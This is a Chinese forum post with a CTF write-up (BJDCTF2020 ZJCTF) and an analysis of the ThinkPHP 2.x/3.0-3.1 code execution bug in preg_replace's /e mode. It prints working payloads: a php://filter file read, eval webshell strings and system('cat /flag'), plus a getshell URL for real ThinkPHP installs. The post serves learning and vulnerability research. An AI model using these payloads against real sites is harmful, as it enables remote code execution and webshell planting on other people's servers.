ctf入门到Thinkphp2.x、3.0-3.1版代码执行漏洞分析

秋紫山   ·   发表于 2020-11-04 19:43:04   ·   技术文章投稿区

前言:文章可能有点长,小弟不才,只能靠刷ctf来理解一些内容。若有不恰当之处,望大佬们不吝赐教。

一、[BJDCTF2020]ZJCTF

先做一道ctf压压惊:
[BJDCTF2020]ZJCTF

构建以下payload,进入if判断,并且进入include()函数
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php


得到next.php的base64加密的密文,解码获得next.php的源码:

  1. <?php
  2. $id = $_GET['id'];
  3. $_SESSION['id'] = $id;
  4. function complex($re, $str) {
  5. return preg_replace(
  6. '/(' . $re . ')/ei','strtolower("\\1")',$str
  7. );
  8. }
  9. foreach($_GET as $re => $str) {
  10. echo complex($re, $str). "\n";
  11. }
  12. function getFlag(){
  13. @eval($_GET['cmd']);
  14. }

这段代码大致意思是:先看可执行的,再看定义的函数
获取get的所有传参,对get传参键值分离,分别赋值给$re、$str ,作为参数放进complex()自定义的函数。Complex函数用来匹配$re里面的内容,并且为/ei 模式。/i表示不分大小写,/e表示啥?不懂,但是查一下可知,preg_replace的/e模式下有代码执行漏洞。即/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。
也就是说:
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str) 中'strtolower("\\1")'这里会任意代码执行。
先看看:\1 是干嘛~
\1表示取出正则匹配后的第一个子匹配中的第一项
(这里其实就是thinkphp2.x、3.0-3.1版本的rce漏洞,这也是我为什么做这道题的原因,接下来两天将分析thinkphp2.x、3.0-3.1的rce漏洞,敬请期待,后续文章讲述)
举几个例子:


图一

图二

图三

图四
子匹配项,有括号才能存在子匹配项,所以没有括号,就不存在子匹配项,自然图1和图4中子匹配项的值为空。

其次,了解””双引号在php中解析问题,双引号会解析里面的变量,而单引号不会。


但是要把双引号里面的东西当成php来解析,这双引号是办不到的。


所以又得了解另一种方法:
如下图:


然后发现:${${phpinfo()}} 里面的phpinfo()能够被解析并且成功执行。


所以把源码弄来试试:

回到靶场:


没毛病。

来开辟新道路:一种新思路
既然能执行phpinfo(),为啥就不能getshell呢?
来来来,尝试一下下:
写马:\S%2b=${${eval($_REQUEST[8])}}
连接:


得到flag。

不过正解就是调用getFlag() 函数,进行getshell。
Payload为:
?\S%2b=${${getFlag()}}&cmd=system(%27ls%20/%27);


?\S%2b=${${getFlag()}}&cmd=system(%27cat%20/flag%27);


ctf做完了。相信对正则匹配的/e模式有了很大的了解,接下来分析个Thinkphp的简化版漏洞。(真实的代码审计可能要对mvc框架有一定了解,而我还是弟弟,我先放弃~~)

二、Thinkphp2.x、3.0-3.1版代码执行漏洞分析

Thinkphp2.x、3.0-3.1版代码执行漏洞分析:
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架,ThinkPHP/Lib/Think/Util/Dispatcher.class.php中的102行preg_replace函数存在问题:

从网上的简化版初步来分析一下,因为自己也不懂mvc架构,等我学到再写具体的分析。
简化版就是这么一段代码

  1. $depr = '\/';
  2. $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
  3. $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

把路径拆分了,然后再进行自行组建路径,放进正则上面匹配。(需要大家有代码能力,自行理解一下,接下来主要讲匹配替换规则)
preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths))
再化简:
preg_replace('@(\w+)\/([^\/\/]+)@e', '$var[\'\\1\']="\\2";',’进行匹配的路径’)

先开启@i模式,那么假设要匹配的路径是:index.php?s=1/2/3/4/5/6
那么结果是什么?

可以看到进行了3次匹配,分别为:1/2 , 3/4 , 5/6
每次的第一子匹配项放进了$var[‘’]里面,第二个子匹配项则在双引号里面。
所以,很清楚,如果改为@e模式,单数的项会放进$var变量作为键,而双数的项会被当做值。
并且我们知道@e模式下是可以任意代码执行的,特别是在双引号里面:例如:”${phpinfo()}”或者”${${phpinfo()}}” (采用哪种主要看php版本,低版本的不支持”${phpinfo()}”,高版本都支持)
如:


接下来就是漏洞复现。
本地搭好环境进行复现:

Payload为:
/index.php/1/2/3/4/5/$%7Bphpinfo()%7D
或者:
index.php?s=1/2/3/4/5/${phpinfo()} 传参必须为s
phpinfo在4的位置也行。在2的位置不行。

暂告一段落。
顺便给一下getshell方法:
index.php?s=1/2/3/4/5/${eval%20($_REQUEST[8])}&8=phpinfo();

用户名金币积分时间理由
fenghua123 10.00 0 2020-11-06 12:12:28 一个受益终生的帖子~~
veek 100.00 0 2020-11-05 10:10:39 鼓励原创~

打赏我,让我更有动力~

2 Reply   |  Until 2020-11-6 | 1027 View

holic
发表于 2020-11-5

改为 ${eval($_REQUEST[8])} 也可以,不用嵌套那么多层

评论列表

  • 加载数据中...

编写评论内容

fenghua123
发表于 2020-11-6

参见紫山大佬

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.